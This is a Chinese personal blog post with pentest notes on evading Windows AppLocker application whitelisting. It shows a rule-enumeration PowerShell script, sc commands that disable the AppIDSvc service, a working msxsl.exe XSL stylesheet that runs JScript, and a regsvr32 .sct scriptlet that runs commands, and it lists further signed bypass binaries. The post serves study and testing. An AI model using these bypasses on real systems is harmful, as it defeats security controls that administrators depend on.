AppLocker提权

AppLocker自定义规则:AppLocker规则可以应用于目标应用,这些规则也是构成AppLocker策略的基本组件。

AppLocker基本组件有如下:

规则集合:AppLocker控制台以规则集合作为组织单元,包括如下

可执行文件,例如不能运行net.exe,whoami.exe

脚本,例如不能运行.ps1,.js,.vbs

Windows安装文件,例如不能运行.msi.msp

封装的应用,例如不能运行如通过Microsoft商店安装的应用

应用安装包以及DLL文件等

规则条件: 可以帮助AppLocker识别哪些应用对应哪些规则,有如下三种规则

发布者(Publisher),以应用在系统中的路径作为识别依据

路径(Path),以应用的属性或者数字签名作为识别依据

文件哈希(File hash),以应用的哈希值作为识别依据

知识点:

1、applocker生成的规则文件在c:/windows/system32/applocker

2、applocker 的默认策略允许 C:\Program Files (x86)\, C:\Program Files\, C:\Windows\ 中可执行文件和脚本的运行, 同时允许带数字签名或在 C:\Windows\Installer\ 中 msi 程序的运行.


powershell脚本尝试查找规则名称不是Default Rule的所有AppLocker规则(这个脚本自己测试的时候不行,以后再看吧!)

Import-Module AppLocker
[xml]$data = Get-AppLockerPolicy -effective -xml
# Extracts All Rules and print them.
Write-Output "[+] Printing Applocker Rules [+]`n"
($data.AppLockerPolicy.RuleCollection | ? { $_.EnforcementMode -match "Enabled" }) | ForEach-Object -Process {
Write-Output ($_.FilePathRule | Where-Object {$_.Name -NotLike "(Default Rule)*"}) | ForEach-Object -Process {Write-Output "=== File Path Rule ===`n`n Rule Name : $($_.Name) `n Condition : $($_.Conditions.FilePathCondition.Path)`n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"
}
Write-Output ($_.FileHashRule) | ForEach-Object -Process { Write-Output "=== File Hash Rule ===`n`n Rule Name : $($_.Name) `n File Name : $($_.Conditions.FileHashCondition.FileHash.SourceFileName) `n Hash type : $($_.Conditions.FileHashCondition.FileHash.Type) `n Hash : $($_.Conditions.FileHashCondition.FileHash.Data) `n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"
}
Write-Output ($_.FilePublisherRule | Where-Object {$_.Name -NotLike "(Default Rule)*"}) | ForEach-Object -Process {Write-Output "=== File Publisher Rule ===`n`n Rule Name : $($_.Name) `n PublisherName : $($_.Conditions.FilePublisherCondition.PublisherName) `n ProductName : $($_.Conditions.FilePublisherCondition.ProductName) `n BinaryName : $($_.Conditions.FilePublisherCondition.BinaryName) `n BinaryVersion Min. : $($_.Conditions.FilePublisherCondition.BinaryVersionRange.LowSection) `n BinaryVersion Max. : $($_.Conditions.FilePublisherCondition.BinaryVersionRange.HighSection) `n Description: $($_.Description) `n Group/SID : $($_.UserOrGroupSid)`n`n"}
}

提权方法:

管理员情况下的提权:,我们可以直接进行停止相关的AppLocker依赖的服务"应用程序标识"来绕过,但是还是需要重新启动才能生效

sc stop AppIDSvc
sc config AppIDSvc start= disabled

低权限情况下的提权:

我设置的AppLocker脚本规则如下:

尝试进行运行, 结果如下

进行绕过,利用的是包含微软签名msxsl.exe

customers.xml:

<?xml version="1.0"?>
<?xml-stylesheet type="text/xsl" href="script.xsl" ?>
<customers>
<customer>
<name>John Smith</name>
<address>123 Elm St.</address>
<phone>(123) 456-7890</phone>
</customer>
<customer>
<name>Mary Jones</name>
<address>456 Oak Ave.</address>
<phone>(156) 789-0123</phone>
</customer>
</customers>

script.xml:

<?xml version='1.0'?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:msxsl="urn:schemas-microsoft-com:xslt"
xmlns:user="http://mycompany.com/mynamespace">
<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>
<xsl:template match="/">
<xsl:value-of select="user:xml(.)"/>
</xsl:template>
</xsl:stylesheet>

在script.xml中存在JScript的代码,当利用msxml进行解析的时候成功执行JScript的代码弹出calc.exe

<msxsl:script language="JScript" implements-prefix="user">
function xml(nodelist) {
var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
return nodelist.nextNode().xml;
}
</msxsl:script>

regsvr32的试验绕过Applocker脚本规则:

regsvr32是windows命令行实用工具用于注册动态链接库文件,向系统注册控件或者卸载控件的命令。

c.sct

<?XML version="1.0"?>
<scriptlet>
<registration
progid="Pentest"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<script language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd /k whoami");
]]>
</script>
</registration>
</scriptlet>

regsvr32还可以进行远程上线的操作


结尾:还有很多白名单程序都可以进行绕过,如下程序,有时间自己再尝试记录,还有的就是这些方法不止适用于绕过脚本规则,可执行规则类似的都可以进行尝试

mshta
msbuild
msiexec 可以参考我的提权文章https://www.cnblogs.com/zpchcbd/p/11943147.html,这个msiexec多种方法绕过https://www.cnblogs.com/backlion/p/10493910.html
rundll32
regasm
regsvcs
regsvr32
installutil

参考文章:https://3gstudent.github.io/3gstudent.github.io/Use-msxsl-to-bypass-AppLocker/

posted @   zpchcbd  阅读(558)  评论(0编辑  收藏  举报
编辑推荐:
· 开发者必知的日志记录最佳实践
· SQL Server 2025 AI相关能力初探
· Linux系列:如何用 C#调用 C方法造成内存泄露
· AI与.NET技术实操系列(二):开始使用ML.NET
· 记一次.NET内存居高不下排查解决与启示
阅读排行:
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· 没有Manus邀请码?试试免邀请码的MGX或者开源的OpenManus吧
· 园子的第一款AI主题卫衣上架——"HELLO! HOW CAN I ASSIST YOU TODAY
点击右上角即可分享
微信分享提示